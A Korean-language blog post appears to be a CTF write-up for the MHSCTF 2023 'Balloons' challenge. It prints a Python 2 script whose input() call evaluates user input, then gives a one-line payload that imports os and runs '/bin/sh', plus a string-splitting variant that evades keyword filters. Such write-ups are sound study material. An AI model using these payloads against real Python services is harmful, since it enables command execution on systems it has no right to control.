Recent Posts
Recent Comments
Link
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[MHSCTF 2023] Feb. 1 — Balloons 본문

Hack/CTF

[MHSCTF 2023] Feb. 1 — Balloons

CIDY 2023. 2. 15. 15:21
from balloon_tracking_lookup import get_status

print "Welcome to your balloon order-tracking portal! Enter your tracking number here.\n"
tracking_number = input(">>> ")

try:
  print "Getting status for order #" + str(int(tracking_number)) + "..."
except:
  print "Invalid tracking number!"

print get_status(int(tracking_number))

파이썬으로 짜여져 돌아간다. 파이썬으로 돌아가는 프로그램을 익스해본적은 없지만 요즘 ctf에 매번 등장하고 있어 더이상 회피할 수 없다는 생각에 풀어보기로 했다.

알아본 바에 의하면 c로 짜여진 프로그램들의 익스가 주로 system("/bin/sh");해서 쉘따는걸로 끝난다면, python에서도 비슷하게 import os한 뒤에, os.system("/bin/sh")하는걸로 쉘을 얻을 수 있다.

__builtins__.__dict__['__import__']('os').__dict__['system']('/bin/sh')

위와 같이 입력하면 바로 쉘 딸 수 있다.

아 그리고 이것저것 알아보다가 발견한건데

__builtins__.__dict__['__im'+'port__']('o'+'s').__dict__['sys'+'tem']('/bin/sh')

필터링이 있을 경우 위와 같이 우회 가능하다. 이번거는 필터링이 아예 필요없어서 편하게 함!

flag


대회중이라 라업을 공개할수는 없고,, 끝나면 보호 풀어야징

'Hack > CTF' 카테고리의 다른 글

[LACTF 2023] stuff  (4) 2023.02.15
[MHSCTF 2023] Feb. 5 — Rescue Mission  (0) 2023.02.15
[LACTF 2023] rut-roh-relro  (0) 2023.02.14
[LACTF 2023] rickroll(Write-up)  (0) 2023.02.14
[CCE 2022] proximity(Write-up 작성중)  (0) 2023.02.10